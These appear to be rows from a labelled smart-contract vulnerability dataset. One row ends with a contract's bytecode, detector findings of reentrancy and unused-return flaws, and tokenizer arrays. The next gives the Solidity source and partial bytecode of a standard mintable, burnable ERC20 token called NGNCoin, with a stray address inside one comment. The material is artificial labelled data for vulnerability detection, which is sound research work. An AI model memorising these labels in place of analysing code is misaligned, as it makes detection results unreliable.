919050565b60006020820190508181036000830152612fc281612d08565b9050919050565b60006020820190508181036000830152612fe281612d2b565b9050919050565b6000602082019050818103600083015261300281612d4e565b9050919050565b6000602082019050818103600083015261302281612d71565b9050919050565b6000602082019050818103600083015261304281612d94565b9050919050565b6000602082019050818103600083015261306281612db7565b9050919050565b6000602082019050818103600083015261308281612dda565b9050919050565b600060208201905081810360008301526130a281612dfd565b9050919050565b60006020820190506130be6000830184612e20565b92915050565b600060a0820190506130d96000830188612e20565b6130e66020830187612c57565b81810360408301526130f88186612bea565b90506131076060830185612bdb565b6131146080830184612e20565b9695505050505050565b60006020820190506131336000830184612e2f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b61377c816132f4565b811461378757600080fd5b50565b61379381613306565b811461379e57600080fd5b50565b6137aa81613332565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fb7883a4c70372c2cd0b68fc5552bfcc0c6ea31a2860dbd3e11f0e814907fb764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2509,
2546,
2692,
2094,
2692,
2683,
2581,
2546,
2683,
2620,
2278,
2575,
2581,
20842,
4246,
2692,
28154,
2575,
2050,
2509,
2063,
23632,
2620,
2497,
23499,
2581,
6679,
2683,
2683,
2629,
2278,
1013,
1008,
1008,
18804,
27408,
1010,
2169,
18804,
6513,
3310,
2007,
2797,
24978,
2546,
2860,
4180,
1996,
2034,
24978,
2546,
2860,
19204,
1013,
1050,
6199,
2015,
2006,
1996,
28855,
14820,
2897,
4037,
1024,
16770,
1024,
1013,
1013,
18804,
25708,
18715,
2368,
1012,
4012,
1013,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
18804,
25708,
1035,
9413,
2278,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,468 | 0x9534a50af8569a4411bbbb551bdb9561cbb55956 | pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
0x73Cee8348b9bDd48c64E13452b8a6fbc81630573 *
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* NOTE: This is a feature of the next version of OpenZeppelin Contracts.
* @dev Get it via `npm install @openzeppelin/contracts@next`.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract NGNCoin is ERC20Mintable, Ownable, ERC20Detailed, ERC20Burnable{
constructor(
string memory name,
string memory symbol,
uint8 decimals,
uint256 initialSupply
)
public
ERC20Detailed(name, symbol, decimals)
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806379cc6790116100b8578063986502751161007c57806398650275146105ca578063a457c2d7146105d4578063a9059cbb1461063a578063aa271e1a146106a0578063dd62ed3e146106fc578063f2fde38b1461077457610137565b806379cc6790146104495780638da5cb5b146104975780638f32d59b146104e157806395d89b4114610503578063983b2d561461058657610137565b806339509351116100ff57806339509351146102ed57806340c10f191461035357806342966c68146103b957806370a08231146103e7578063715018a61461043f57610137565b806306fdde031461013c578063095ea7b3146101bf57806318160ddd1461022557806323b872dd14610243578063313ce567146102c9575b600080fd5b6101446107b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085a565b604051808215151515815260200191505060405180910390f35b61022d610878565b6040518082815260200191505060405180910390f35b6102af6004803603606081101561025957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b6102d161095b565b604051808260ff1660ff16815260200191505060405180910390f35b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610972565b604051808215151515815260200191505060405180910390f35b61039f6004803603604081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a25565b604051808215151515815260200191505060405180910390f35b6103e5600480360360208110156103cf57600080fd5b8101908080359060200190929190505050610aa0565b005b610429600480360360208110156103fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ab4565b6040518082815260200191505060405180910390f35b610447610afc565b005b6104956004803603604081101561045f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c37565b005b61049f610c45565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e9610c6f565b604051808215151515815260200191505060405180910390f35b61050b610cc7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054b578082015181840152602081019050610530565b50505050905090810190601f1680156105785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c86004803603602081101561059c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d69565b005b6105d2610dda565b005b610620600480360360408110156105ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dec565b604051808215151515815260200191505060405180910390f35b6106866004803603604081101561065057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb9565b604051808215151515815260200191505060405180910390f35b6106e2600480360360208110156106b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed7565b604051808215151515815260200191505060405180910390f35b61075e6004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef4565b6040518082815260200191505060405180910390f35b6107b66004803603602081101561078a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b600061086e610867611001565b8484611009565b6001905092915050565b6000600254905090565b600061088f848484611200565b6109508461089b611001565b61094b85604051806060016040528060288152602001611fff60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610901611001565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b69092919063ffffffff16565b611009565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610a1b61097f611001565b84610a168560016000610990611001565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157690919063ffffffff16565b611009565b6001905092915050565b6000610a37610a32611001565b610ed7565b610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611fae6030913960400191505060405180910390fd5b610a9683836115fe565b6001905092915050565b610ab1610aab611001565b826117b9565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b04610c6f565b610b76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c418282611971565b5050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d5f5780601f10610d3457610100808354040283529160200191610d5f565b820191906000526020600020905b815481529060010190602001808311610d4257829003601f168201915b5050505050905090565b610d79610d74611001565b610ed7565b610dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611fae6030913960400191505060405180910390fd5b610dd781611a40565b50565b610dea610de5611001565b611a9a565b565b6000610eaf610df9611001565b84610eaa856040518060600160405280602581526020016120d76025913960016000610e23611001565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b69092919063ffffffff16565b611009565b6001905092915050565b6000610ecd610ec6611001565b8484611200565b6001905092915050565b6000610eed826003611af490919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f83610c6f565b610ff5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ffe81611bd2565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561108f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120b36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611115576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f666022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061208e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611efb6023913960400191505060405180910390fd5b61137781604051806060016040528060268152602001611f88602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b69092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611563576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115285780820151818